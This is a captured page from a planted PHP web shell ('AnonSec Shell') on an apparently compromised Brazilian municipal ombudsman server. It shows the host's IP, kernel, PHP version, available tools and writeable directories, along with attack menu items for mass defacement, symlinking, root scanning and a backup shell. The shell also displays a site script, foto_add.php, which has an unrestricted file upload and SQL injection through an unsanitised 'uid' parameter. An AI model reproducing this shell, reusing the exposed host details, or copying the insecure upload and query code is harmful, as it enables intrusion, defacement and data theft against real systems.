AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ouvidoria/pmporanga/index/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/ouvidoria/pmporanga/index/foto_add.php
<link href="../css/estilo.css" rel="stylesheet" type="text/css"/>
<link href="../css/Site.css" rel="stylesheet" type="text/css"/>
<link rel="icon" href="../img/favicon.png"/>
<script src="../js/bootstrap.js" type="text/javascript"></script>
<script src="../js/bootstrap.min.js" type="text/javascript"></script>
<link href="../css/bootstrap.css" rel="stylesheet" type="text/css"/>
<body>

<div class="container">
    <div class="panel panel-info">
        <div class="panel-heading">
            <div class="panel-title">
                <span style="font-size:20px;">&nbsp;Incluir foto</span>
            </div>
        </div>
    </div>
</div>
<?php
    include('../inc/database.php');
    require_once("../inc/security.php");

    $uid  = $_GET['uid'];

    $data = execQuery('select * from lda_configuracao');
    $cam  = mysql_fetch_array($data);

    $uid = $_GET['uid'];
    if ($_POST['cadastrar']) {
        $foto = $_FILES["foto"];

        if (!empty($foto["name"])) {
            if (count($error)==0) {
                $destino     = $cam['diretorioarquivos'] . '/foto/' . $_FILES['foto']['name'];
                $destino2    = '../_anexos/foto/' . $_FILES['foto']['name'];
                $arquivo_tmp = $_FILES['foto']['tmp_name'];
                move_uploaded_file($arquivo_tmp, $destino);

                $sql = execQuery("update lda_solicitante set foto='$destino2' WHERE idsolicitante=$uid");

                $ima = execQuery("select foto from lda_solicitante WHERE idsolicitante=$uid");
                $img  = mysql_fetch_array($ima);
                $foto = $img['foto'];

                if ($sql) {
                    echo "
                        <div class='container panel-body'>
                            <span>
                                <img src='$foto' class='img-rounded' width='90px'/><br><br>
                                <a href=\"../index/index.php\" class=\"link\">foto cadastrada com sucesso! Clique aqui para voltar.</a>
                            </span>
                        </div>";
                }
            }
            if (count($error)!=0) {
                foreach ($error as $erro) {
                    echo $erro . "<br />";
                }
            }
        }
    }

Anon7 - 2022
AnonSec Team